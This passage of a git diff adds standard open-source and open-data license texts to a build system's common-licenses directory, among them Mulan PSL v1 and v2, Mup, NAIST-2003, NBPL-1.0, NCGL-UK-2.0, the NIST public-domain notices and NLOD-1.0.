+THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
+See the Mulan PSL v1 for more details.
+Mulan Permissive Software License,Version 1
+
+Mulan Permissive Software License,Version 1 (Mulan PSL v1)
+
+August 2019 http://license.coscl.org.cn/MulanPSL
+
+Your reproduction, use, modification and distribution of the Software shall be subject to Mulan PSL v1 (this License) with following terms and conditions:
+
+0. Definition
+
+Software means the program and related documents which are comprised of those Contribution and licensed under this License.
+
+Contributor means the Individual or Legal Entity who licenses its copyrightable work under this License.
+
+Legal Entity means the entity making a Contribution and all its Affiliates.
+
+Affiliates means entities that control, or are controlled by, or are under common control with a party to this License, ‘control’ means direct or indirect ownership of at least fifty percent (50%) of the voting power, capital or other securities of controlled or commonly controlled entity.
+
+Contribution means the copyrightable work licensed by a particular Contributor under this License.
+
+1. Grant of Copyright License
+
+Subject to the terms and conditions of this License, each Contributor hereby grants to you a perpetual, worldwide, royalty-free, non-exclusive, irrevocable copyright license to reproduce, use, modify, or distribute its Contribution, with modification or not.
+
+2. Grant of Patent License
+
+Subject to the terms and conditions of this License, each Contributor hereby grants to you a perpetual, worldwide, royalty-free, non-exclusive, irrevocable (except for revocation under this Section) patent license to make, have made, use, offer for sale, sell, import or otherwise transfer its Contribution where such patent license is only limited to the patent claims owned or controlled by such Contributor now or in future which will be necessarily infringed by its Contribution alone, or by combination of the Contribution with the Software to which the Contribution was contributed, excluding of any patent claims solely be infringed by your or others’ modification or other combinations. If you or your Affiliates directly or indirectly (including through an agent, patent licensee or assignee), institute patent litigation (including a cross claim or counterclaim in a litigation) or other patent enforcement activities against any individual or entity by alleging that the Software or any Contribution in it infringes patents, then any patent license granted to you under this License for the Software shall terminate as of the date such litigation or activity is filed or taken.
+
+3. No Trademark License
+
+No trademark license is granted to use the trade names, trademarks, service marks, or product names of Contributor, except as required to fulfill notice requirements in section 4.
+
+4. Distribution Restriction
+
+You may distribute the Software in any medium with or without modification, whether in source or executable forms, provided that you provide recipients with a copy of this License and retain copyright, patent, trademark and disclaimer statements in the Software.
+
+5. Disclaimer of Warranty and Limitation of Liability
+
+The Software and Contribution in it are provided without warranties of any kind, either express or implied. In no event shall any Contributor or copyright holder be liable to you for any damages, including, but not limited to any direct, or indirect, special or consequential damages arising from your use or inability to use the Software or the Contribution in it, no matter how it’s caused or based on which legal theory, even if advised of the possibility of such damages.
+
+End of the Terms and Conditions
+
+How to apply the Mulan Permissive Software License,Version 1 (Mulan PSL v1) to your software
+
+To apply the Mulan PSL v1 to your work, for easy identification by recipients, you are suggested to complete following three steps:
+
+i. Fill in the blanks in following statement, including insert your software name, the year of the first publication of your software, and your name identified as the copyright owner;
+ii. Create a file named “LICENSE” which contains the whole context of this License in the first directory of your software package;
+iii. Attach the statement to the appropriate annotated syntax at the beginning of each source file.
+
+Copyright (c) [2019] [name of copyright holder]
+[Software Name] is licensed under the Mulan PSL v1.
+You can use this software according to the terms and conditions of the Mulan PSL v1.
+You may obtain a copy of Mulan PSL v1 at:
+ http://license.coscl.org.cn/MulanPSL
+THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
+See the Mulan PSL v1 for more details.
diff --git a/meta/files/common-licenses/MulanPSL-2.0 b/meta/files/common-licenses/MulanPSL-2.0
new file mode 100644
index 0000000000..4e46101296
--- /dev/null
+++ b/meta/files/common-licenses/MulanPSL-2.0
@@ -0,0 +1,131 @@
+
+木兰宽松许可证, 第2版
+
+木兰宽松许可证, 第2版
+
+2020年1月 http://license.coscl.org.cn/MulanPSL2
+
+您对“软件”的复制、使用、修改及分发受木兰宽松许可证,第2版(“本许可证”)的如下条款的约束:
+
+0. 定义
+
+“软件” 是指由“贡献”构成的许可在“本许可证”下的程序和相关文档的集合。
+
+“贡献” 是指由任一“贡献者”许可在“本许可证”下的受版权法保护的作品。
+
+“贡献者” 是指将受版权法保护的作品许可在“本许可证”下的自然人或“法人实体”。
+
+“法人实体” 是指提交贡献的机构及其“关联实体”。
+
+“关联实体” 是指,对“本许可证”下的行为方而言,控制、受控制或与其共同受控制的机构,此处的控制是指有受控方或共同受控方至少50%直接或间接的投票权、资金或其他有价证券。
+
+1. 授予版权许可
+
+每个“贡献者”根据“本许可证”授予您永久性的、全球性的、免费的、非独占的、不可撤销的版权许可,您可以复制、使用、修改、分发其“贡献”,不论修改与否。
+
+2. 授予专利许可
+
+每个“贡献者”根据“本许可证”授予您永久性的、全球性的、免费的、非独占的、不可撤销的(根据本条规定撤销除外)专利许可,供您制造、委托制造、使用、许诺销售、销售、进口其“贡献”或以其他方式转移其“贡献”。前述专利许可仅限于“贡献者”现在或将来拥有或控制的其“贡献”本身或其“贡献”与许可“贡献”时的“软件”结合而将必然会侵犯的专利权利要求,不包括对“贡献”的修改或包含“贡献”的其他结合。如果您或您的“关联实体”直接或间接地,就“软件”或其中的“贡献”对任何人发起专利侵权诉讼(包括反诉或交叉诉讼)或其他专利维权行动,指控其侵犯专利权,则“本许可证”授予您对“软件”的专利许可自您提起诉讼或发起维权行动之日终止。
+
+3. 无商标许可
+
+“本许可证”不提供对“贡献者”的商品名称、商标、服务标志或产品名称的商标许可,但您为满足第4条规定的声明义务而必须使用除外。
+
+4. 分发限制
+
+您可以在任何媒介中将“软件”以源程序形式或可执行形式重新分发,不论修改与否,但您必须向接收者提供“本许可证”的副本,并保留“软件”中的版权、商标、专利及免责声明。
+
+5. 免责声明与责任限制
+
+“软件”及其中的“贡献”在提供时不带任何明示或默示的担保。在任何情况下,“贡献者”或版权所有者不对任何人因使用“软件”或其中的“贡献”而引发的任何直接或间接损失承担责任,不论因何种原因导致或者基于何种法律理论,即使其曾被建议有此种损失的可能性。
+
+6. 语言
+
+“本许可证”以中英文双语表述,中英文版本具有同等法律效力。如果中英文版本存在任何冲突不一致,以中文版为准。
+
+条款结束
+
+如何将木兰宽松许可证,第2版,应用到您的软件
+
+如果您希望将木兰宽松许可证,第2版,应用到您的新软件,为了方便接收者查阅,建议您完成如下三步:
+
+1, 请您补充如下声明中的空白,包括软件名、软件的首次发表年份以及您作为版权人的名字;
+
+2, 请您在软件包的一级目录下创建以“LICENSE”为名的文件,将整个许可证文本放入该文件中;
+
+3, 请将如下声明文本放入每个源文件的头部注释中。
+
+Copyright (c) [Year] [name of copyright holder]
+[Software Name] is licensed under Mulan PSL v2.
+You can use this software according to the terms and conditions of the Mulan PSL v2.
+You may obtain a copy of Mulan PSL v2 at:
+ http://license.coscl.org.cn/MulanPSL2
+THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND,
+EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT,
+MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
+See the Mulan PSL v2 for more details.
+
+Mulan Permissive Software License,Version 2
+
+Mulan Permissive Software License,Version 2 (Mulan PSL v2)
+
+January 2020 http://license.coscl.org.cn/MulanPSL2
+
+Your reproduction, use, modification and distribution of the Software shall be subject to Mulan PSL v2 (this License) with the following terms and conditions:
+
+0. Definition
+
+Software means the program and related documents which are licensed under this License and comprise all Contribution(s).
+
+Contribution means the copyrightable work licensed by a particular Contributor under this License.
+
+Contributor means the Individual or Legal Entity who licenses its copyrightable work under this License.
+
+Legal Entity means the entity making a Contribution and all its Affiliates.
+
+Affiliates means entities that control, are controlled by, or are under common control with the acting entity under this License, ‘control’ means direct or indirect ownership of at least fifty percent (50%) of the voting power, capital or other securities of controlled or commonly controlled entity.
+
+1. Grant of Copyright License
+
+Subject to the terms and conditions of this License, each Contributor hereby grants to you a perpetual, worldwide, royalty-free, non-exclusive, irrevocable copyright license to reproduce, use, modify, or distribute its Contribution, with modification or not.
+
+2. Grant of Patent License
+
+Subject to the terms and conditions of this License, each Contributor hereby grants to you a perpetual, worldwide, royalty-free, non-exclusive, irrevocable (except for revocation under this Section) patent license to make, have made, use, offer for sale, sell, import or otherwise transfer its Contribution, where such patent license is only limited to the patent claims owned or controlled by such Contributor now or in future which will be necessarily infringed by its Contribution alone, or by combination of the Contribution with the Software to which the Contribution was contributed. The patent license shall not apply to any modification of the Contribution, and any other combination which includes the Contribution. If you or your Affiliates directly or indirectly institute patent litigation (including a cross claim or counterclaim in a litigation) or other patent enforcement activities against any individual or entity by alleging that the Software or any Contribution in it infringes patents, then any patent license granted to you under this License for the Software shall terminate as of the date such litigation or activity is filed or taken.
+
+3. No Trademark License
+
+No trademark license is granted to use the trade names, trademarks, service marks, or product names of Contributor, except as required to fulfill notice requirements in section 4.
+
+4. Distribution Restriction
+
+You may distribute the Software in any medium with or without modification, whether in source or executable forms, provided that you provide recipients with a copy of this License and retain copyright, patent, trademark and disclaimer statements in the Software.
+
+5. Disclaimer of Warranty and Limitation of Liability
+
+THE SOFTWARE AND CONTRIBUTION IN IT ARE PROVIDED WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED. IN NO EVENT SHALL ANY CONTRIBUTOR OR COPYRIGHT HOLDER BE LIABLE TO YOU FOR ANY DAMAGES, INCLUDING, BUT NOT LIMITED TO ANY DIRECT, OR INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING FROM YOUR USE OR INABILITY TO USE THE SOFTWARE OR THE CONTRIBUTION IN IT, NO MATTER HOW IT’S CAUSED OR BASED ON WHICH LEGAL THEORY, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+6. Language
+
+THIS LICENSE IS WRITTEN IN BOTH CHINESE AND ENGLISH, AND THE CHINESE VERSION AND ENGLISH VERSION SHALL HAVE THE SAME LEGAL EFFECT. IN THE CASE OF DIVERGENCE BETWEEN THE CHINESE AND ENGLISH VERSIONS, THE CHINESE VERSION SHALL PREVAIL.
+
+END OF THE TERMS AND CONDITIONS
+
+How to Apply the Mulan Permissive Software License,Version 2 (Mulan PSL v2) to Your Software
+
+To apply the Mulan PSL v2 to your work, for easy identification by recipients, you are suggested to complete following three steps:
+
+i. Fill in the blanks in following statement, including insert your software name, the year of the first publication of your software, and your name identified as the copyright owner;
+ii. Create a file named "LICENSE" which contains the whole context of this License in the first directory of your software package;
+iii. Attach the statement to the appropriate annotated syntax at the beginning of each source file.
+
+Copyright (c) [Year] [name of copyright holder]
+[Software Name] is licensed under Mulan PSL v2.
+You can use this software according to the terms and conditions of the Mulan PSL v2.
+You may obtain a copy of Mulan PSL v2 at:
+ http://license.coscl.org.cn/MulanPSL2
+THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND,
+EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT,
+MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
+See the Mulan PSL v2 for more details.
+
diff --git a/meta/files/common-licenses/Mup b/meta/files/common-licenses/Mup
new file mode 100644
index 0000000000..57c163a401
--- /dev/null
+++ b/meta/files/common-licenses/Mup
@@ -0,0 +1,13 @@
+Copyright (c) 1995-2012 by Arkkra Enterprises. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following DISCLAIMER.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following DISCLAIMER in the documentation and/or other materials provided with the distribution.
+
+3. Any additions, deletions, or changes to the original files must be clearly indicated in accompanying documentation. including the reasons for the changes, and the names of those who made the modifications.
+
+DISCLAIMER
+
+THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/NAIST-2003 b/meta/files/common-licenses/NAIST-2003
new file mode 100644
index 0000000000..40d27d3287
--- /dev/null
+++ b/meta/files/common-licenses/NAIST-2003
@@ -0,0 +1,70 @@
+Copyright 2000, 2001, 2002, 2003 Nara Institute of Science
+and Technology. All Rights Reserved.
+
+Use, reproduction, and distribution of this software is permitted.
+Any copy of this software, whether in its original form or modified,
+must include both the above copyright notice and the following
+paragraphs.
+
+Nara Institute of Science and Technology (NAIST),
+the copyright holders, disclaims all warranties with regard to this
+software, including all implied warranties of merchantability and
+fitness, in no event shall NAIST be liable for
+any special, indirect or consequential damages or any damages
+whatsoever resulting from loss of use, data or profits, whether in an
+action of contract, negligence or other tortuous action, arising out
+of or in connection with the use or performance of this software.
+
+A large portion of the dictionary entries
+originate from ICOT Free Software. The following conditions for ICOT
+Free Software applies to the current dictionary as well.
+
+Each User may also freely distribute the Program, whether in its
+original form or modified, to any third party or parties, PROVIDED
+that the provisions of Section 3 ("NO WARRANTY") will ALWAYS appear
+on, or be attached to, the Program, which is distributed substantially
+in the same form as set out herein and that such intended
+distribution, if actually made, will neither violate or otherwise
+contravene any of the laws and regulations of the countries having
+jurisdiction over the User or the intended distribution itself.
+
+NO WARRANTY
+
+The program was produced on an experimental basis in the course of the
+research and development conducted during the project and is provided
+to users as so produced on an experimental basis. Accordingly, the
+program is provided without any warranty whatsoever, whether express,
+implied, statutory or otherwise. The term "warranty" used herein
+includes, but is not limited to, any warranty of the quality,
+performance, merchantability and fitness for a particular purpose of
+the program and the nonexistence of any infringement or violation of
+any right of any third party.
+
+Each user of the program will agree and understand, and be deemed to
+have agreed and understood, that there is no warranty whatsoever for
+the program and, accordingly, the entire risk arising from or
+otherwise connected with the program is assumed by the user.
+
+Therefore, neither ICOT, the copyright holder, or any other
+organization that participated in or was otherwise related to the
+development of the program and their respective officials, directors,
+officers and other employees shall be held liable for any and all
+damages, including, without limitation, general, special, incidental
+and consequential damages, arising out of or otherwise in connection
+with the use or inability to use the program or any product, material
+or result produced or otherwise obtained by using the program,
+regardless of whether they have been advised of, or otherwise had
+knowledge of, the possibility of such damages at any time during the
+project or thereafter. Each user will be deemed to have agreed to the
+foregoing by his or her commencement of use of the program. The term
+"use" as used herein includes, but is not limited to, the use,
+modification, copying and distribution of the program and the
+production of secondary products from the program.
+
+In the case where the program, whether in its original form or
+modified, was distributed or delivered to or received by a user from
+any person, organization or entity other than ICOT, unless it makes or
+grants independently of ICOT any specific warranty to the user in
+writing, such person, organization or entity, will also be exempted
+from and not be held liable to the user for any such damages as noted
+above as far as the program is concerned.
diff --git a/meta/files/common-licenses/NBPL-1.0 b/meta/files/common-licenses/NBPL-1.0
new file mode 100644
index 0000000000..f6bf87992f
--- /dev/null
+++ b/meta/files/common-licenses/NBPL-1.0
@@ -0,0 +1,59 @@
+The Net Boolean Public License
+
+Version 1, 22 August 1998 Copyright 1998, Net Boolean Incorporated, Redwood City, California, USA All Rights Reserved.
+
+Note: This license is derived from the "Artistic License" as distributed with the Perl Programming Language. Its terms are different from those of the "Artistic License."
+
+PREAMBLE
+
+The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications.
+
+Definitions:
+
+ "Package" refers to the collection of files distributed by the Copyright Holder, and derivatives of that collection of files created through textual modification.
+
+ "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder.
+
+ "Copyright Holder" is whoever is named in the copyright or copyrights for the package.
+
+ "You" is you, if you're thinking about copying or distributing this Package.
+
+ "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.)
+
+ "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it.
+
+1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers.
+
+2. You may apply bug fixes, portability fixes and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version.
+
+3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed file stating how and when you changed that file, and provided that you do at least ONE of the following:
+
+ a) place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as uunet.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package.
+
+ b) use the modified Package only within your corporation or organization.
+
+ c) rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page for each non-standard executable that clearly documents how it differs from the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following:
+
+ a) distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version.
+
+ b) accompany the distribution with the machine-readable source of the Package with your modifications.
+
+ c) accompany any non-standard executables with their corresponding Standard Version executables, giving the non-standard executables non-standard names, and clearly documenting the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own.
+
+6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whomever generated them, and may be sold commercially, and may be aggregated with this Package.
+
+7. C subroutines supplied by you and linked into this Package in order to emulate subroutines and variables of the language defined by this Package shall not be considered part of this Package, but are the equivalent of input as in Paragraph 6, provided these subroutines do not change the language in any way that would cause it to fail the regression tests for the language.
+
+8. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+9. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+
+The End
diff --git a/meta/files/common-licenses/NCGL-UK-2.0 b/meta/files/common-licenses/NCGL-UK-2.0
new file mode 100644
index 0000000000..31fbad6f83
--- /dev/null
+++ b/meta/files/common-licenses/NCGL-UK-2.0
@@ -0,0 +1,67 @@
+Non-Commercial Government Licence
+for public sector information
+
+You are encouraged to use and re-use the Information that is available under this licence freely and flexibly, with only a few conditions.
+
+Using information under this licence
+
+Use of copyright and database right material expressly made available under this licence (the ‘Information’) indicates your acceptance of the terms and conditions below.
+
+The Licensor grants you a worldwide, royalty-free, perpetual, non-exclusive licence to use the Information for Non-Commercial purposes only subject to the conditions below.
+
+This licence does not affect your freedom under fair dealing or fair use or any other copyright or database right exceptions and limitations.
+
+You are free to:
+ copy, publish, distribute and transmit the Information;
+ adapt the Information;
+ exploit the Information for Non-Commercial purposes for example, by combining it with other information in your own product or application.
+
+You are not permitted to:
+ exercise any of the rights granted to you by this licence in any manner that is primarily intended for or directed toward commercial advantage or private monetary compensation.
+
+You must, where you do any of the above:
+ acknowledge the source of the Information by including any attribution statement specified by the Information Provider(s) and, where possible, provide a link to this licence;
+
+If the Information Provider does not provide a specific attribution statement, you must use the following:
+ Contains information licensed under the Non-Commercial Government Licence v2.0.
+
+If you are using Information from several Information Providers and listing multiple attributions is not practical in your product or application, you may include a URI or hyperlink to a resource that contains the required attribution statements.
+ ensure that any onward licensing of the Information – for example when combined with other information – is for Non-Commercial purposes only.
+
+These are important conditions of this licence and if you fail to comply with them or use the Information other than for Non-Commercial purposes the rights granted to you under this licence, or any similar licence granted by the Licensor, will end automatically.
+
+Exemptions
+
+This licence does not cover the use of:
+ • personal data in the Information;
+ • Information that has not been accessed by way of publication or disclosure under information access legislation (including the Freedom of Information Acts for the UK and Scotland) by or with the consent of the Information Provider;
+ • departmental or public sector organisation logos, crests, military insignia and the Royal Arms except where they form an integral part of a document or dataset;
+ • military insignia
+ • third party rights the Information Provider is not authorised to license;
+ • other intellectual property rights, including patents, trade marks, and design rights; and
+ • identity documents such as the British Passport.
+
+Non-endorsement
+This licence does not grant you any right to use the Information in a way that suggests any official status or that the Information Provider and/or Licensor endorse you or your use of the Information.
+
+No warranty
+The Information is licensed ‘as is’ and the Information Provider excludes all representations, warranties, obligations and liabilities in relation to the Information to the maximum extent permitted by law.
+The Information Provider is not liable for any errors or omissions in the Information and shall not be liable for any loss, injury or damage of any kind caused by its use. The Information Provider does not guarantee the continued supply of the Information.
+
+Governing Law
+This licence is governed by the laws of the jurisdiction in which the Information Provider has its principal place of business, unless otherwise specified by the Information Provider.
+
+Definitions
+In this licence the terms below have the following meanings:
+
+‘Information’ means information protected by copyright or by database right (for example, literary and artistic works, content, data and source code) offered for use under the terms of this licence.
+
+‘Information Provider’ means the person or organisation providing the Information under this licence.
+
+‘Licensor’ means any Information Provider which has the authority to offer Information under the terms of this licence or the Keeper of the Public Records, who has the authority to offer Information subject to Crown copyright and Crown database rights and Information subject to copyright and database right that has been assigned to or acquired by the Crown, under the terms of this licence.
+
+‘Non-Commercial purposes’ means not intended for or directed toward commercial advantage or private monetary compensation. For the purposes of this licence, ‘private monetary compensation’ does not include the exchange of the Information for other copyrighted works by means of digital file-sharing or otherwise provided there is no payment of any monetary compensation in connection with the exchange of the Information.
+
+‘Use’ as a verb, means doing any act which is restricted by copyright or database right, whether in the original medium or in any other medium, and includes without limitation distributing, copying, adapting, modifying as may be technically necessary to use it in a different mode or format.
+
+‘You’ means the natural or legal person, or body of persons corporate or incorporate, acquiring rights under this licence.
diff --git a/meta/files/common-licenses/NIST-PD b/meta/files/common-licenses/NIST-PD
new file mode 100644
index 0000000000..e1a4e65bab
--- /dev/null
+++ b/meta/files/common-licenses/NIST-PD
@@ -0,0 +1,15 @@
+Terms Of Use
+
+This software was developed by employees of the National Institute of Standards
+and Technology (NIST), and others. This software has been contributed to the
+public domain. Pursuant to title 15 Untied States Code Section 105, works of
+NIST employees are not subject to copyright protection in the United States and
+are considered to be in the public domain. As a result, a formal license is
+not needed to use this software.
+
+This software is provided "AS IS." NIST MAKES NO WARRANTY OF ANY KIND, EXPRESS,
+IMPLIED OR STATUTORY, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTY OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT AND DATA
+ACCURACY. NIST does not warrant or make any representations regarding the use
+of the software or the results thereof, including but not limited to the
+correctness, accuracy, reliability or usefulness of this software.
diff --git a/meta/files/common-licenses/NIST-PD-fallback b/meta/files/common-licenses/NIST-PD-fallback
new file mode 100644
index 0000000000..49f91bce1f
--- /dev/null
+++ b/meta/files/common-licenses/NIST-PD-fallback
@@ -0,0 +1,5 @@
+Conditions of Use
+
+This software was developed by employees of the National Institute of Standards and Technology (NIST), an agency of the Federal Government and is being made available as a public service. Pursuant to title 17 United States Code Section 105, works of NIST employees are not subject to copyright protection in the United States. This software may be subject to foreign copyright. Permission in the United States and in foreign countries, to the extent that NIST may hold copyright, to use, copy, modify, create derivative works, and distribute this software and its documentation without fee is hereby granted on a non-exclusive basis, provided that this notice and disclaimer of warranty appears in all copies.
+
+THE SOFTWARE IS PROVIDED "AS IS" WITHOUT ANY WARRANTY OF ANY KIND, EITHER EXPRESSED, IMPLIED, OR STATUTORY, INCLUDING, BUT NOT LIMITED TO, ANY WARRANTY THAT THE SOFTWARE WILL CONFORM TO SPECIFICATIONS, ANY IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND FREEDOM FROM INFRINGEMENT, AND ANY WARRANTY THAT THE DOCUMENTATION WILL CONFORM TO THE SOFTWARE, OR ANY WARRANTY THAT THE SOFTWARE WILL BE ERROR FREE. IN NO EVENT SHALL NIST BE LIABLE FOR ANY DAMAGES, INCLUDING, BUT NOT LIMITED TO, DIRECT, INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES, ARISING OUT OF, RESULTING FROM, OR IN ANY WAY CONNECTED WITH THIS SOFTWARE, WHETHER OR NOT BASED UPON WARRANTY, CONTRACT, TORT, OR OTHERWISE, WHETHER OR NOT INJURY WAS SUSTAINED BY PERSONS OR PROPERTY OR OTHERWISE, AND WHETHER OR NOT LOSS WAS SUSTAINED FROM, OR AROSE OUT OF THE RESULTS OF, OR USE OF, THE SOFTWARE OR SERVICES PROVIDED HEREUNDER.
diff --git a/meta/files/common-licenses/NLOD-1.0 b/meta/files/common-licenses/NLOD-1.0
new file mode 100644
index 0000000000..b0b0767e38
--- /dev/null
+++ b/meta/files/common-licenses/NLOD-1.0
@@ -0,0 +1,79 @@
+Norwegian Licence for Open Government Data (NLOD) 1.0
+
+Preface of licence
+
+This licence grants you the right to copy, use and distribute information, provided you acknowledge the contributors and comply with the terms and conditions stipulated in this licence. By using information made available under this licence, you accept the terms and conditions set forth in this licence. As set out in Section 7, the licensor disclaims any and all liability for the quality of the information and what the information is used for.
+
+This licence shall not impose any limitations on the rights or freedoms of the licensee under the Norwegian Freedom of Information Act or any other legislation granting the general public a right of access to public sector information, or that follow from exemptions or limitations stipulated in the Norwegian Copyright Act. Further, the licence shall not impose any limitations on the licensee's freedom of expression recognized by law.
+
+1. Definitions
+
+ «Database» shall mean a database or similar protected under Section 43 of the Norwegian Copyright Act.
+ «Information» shall mean texts, images, recordings, data sets or other works protected under Section 1 of the Norwegian Copyright Act, or which are protected under provisions addressing what is referred to as «neighbouring rights» in Chapter 5 of the Norwegian Copyright Act (including databases and photographs), and which are distributed under this licence.
+ «Copy» shall mean reproduction in any form.
+ «Licensee» and «you» shall mean natural or legal persons using information under this licence.
+ «Licensor» shall mean the natural or legal person that makes information available under this licence.
+ «Distribute» shall mean any actions whereby information is made available, including to distribute, transfer, communicate, disperse, show, perform, sell, lend and rent.
+ «Use» shall mean one or more actions relevant to copyright law requiring permission from the owner of the copyright.
+
+2. Licence
+The licensee, subject to the limitations that follow from this licence, may use the information for any purpose and in all contexts, by:
+
+ * copying the information and distributing the information to others,
+ * modifying the information and/or combining the information with other information, and
+ * copying and distributing such changed or combined information.
+ * This is a non-exclusive, free, perpetual and worldwide licence. The information may be used in any medium and format known today and/or which will become known in the future. The Licensee shall not sub-license or transfer this licence.
+
+3. Exemptions
+The licence does not apply to and therefore does not grant a right to use:
+
+ * information which contains personal data covered by the Norwegian Personal Data Act unless there is a legitimate basis for the disclosure and further processing of the personal data
+ * information distributed in violation of a statutory obligation to observe confidentiality
+ * information excluded from public disclosure pursuant to law, including information deemed sensitive under the Norwegian National Security Act
+ * information subject to third party rights which the licensor is not authorised to license to the licensee
+ * information protected by intellectual property rights other than copyright and neighbouring rights in accordance with Chapter 5 of the Norwegian Copyright Act, such as trademarks, patents and design rights, but this does not entail an impediment to use information where the licensor's logo has been permanently integrated into the information or to attribute the origin of the information in accordance with the article below relating to attribution.
+
+If the licensor has made available information not covered by the licence according to the above list, the licensee must cease all use of the information under the licence, and erase the information as soon as he or she becomes aware of or should have understood that the information is not covered by the licence.
+
+4. Effects of breach of the licence
+The licence is subject to the licensee's compliance with the terms and conditions of this licence. In the event that the licensee commits a breach of this licence, this will entail that the licensee's right to use the information will be revoked immediately without further notice. In case of such a breach, the licensee must immediately and without further notice take measures to cause the infringement to end. Because the right to use the information has been terminated, the licensee must cease all use of the information by virtue of the licence.
+
+5. Attribution
+The licensee shall attribute the licensor as specified by the licensor and include a reference to this licence. To the extent practically possible, the licensee shall provide a link to both this licence and the source of the information.
+
+If the licensor has not specified how attributions shall be made, the licensee shall normally state the following: «Contains data under the Norwegian licence for Open Government data (NLOD) distributed by [name of licensor]».
+
+If the licensor has specified that the information shall only be available under a specific version of this licence, cf. Section 10, the licensee shall also state this.
+
+If the information has been changed, the licensee must clearly indicate that changes have been made by the licensee.
+
+6. Proper use
+The licensee shall not use the information in a manner that appears misleading nor present the information in a distorted or incorrect manner.
+Neither the licensor's nor other contributors' names or trademarks must be used to support, recommend or market the licensee or any products or services using the information.
+
+7. Disclaimer of liability
+The information is licensed «as is». The information may contain errors and omissions. The licensor provides no warranties, including relating to the content and relevance of the information.
+
+The licensor disclaims any liability for errors and defects associated with the information to the maximum extent permitted by law.
+
+The licensor shall not be liable for direct or indirect losses as a result of use of the information or in connection with copying or further distribution of the information.
+
+8. Guarantees regarding data quality and accessibility
+This licence does not prevent the licensor from issuing supplementary statements regarding expected or intended data quality and accessibility. Such statements shall be regarded as indicative in nature and not binding on the part of the licensor. The disclaimers in Section 7 also apply in full for such indicative statements. Based on separate agreement, the licensor may provide guarantees and distribute the information on terms and conditions different from those set forth in this licence.
+
+9. Licence compatibility
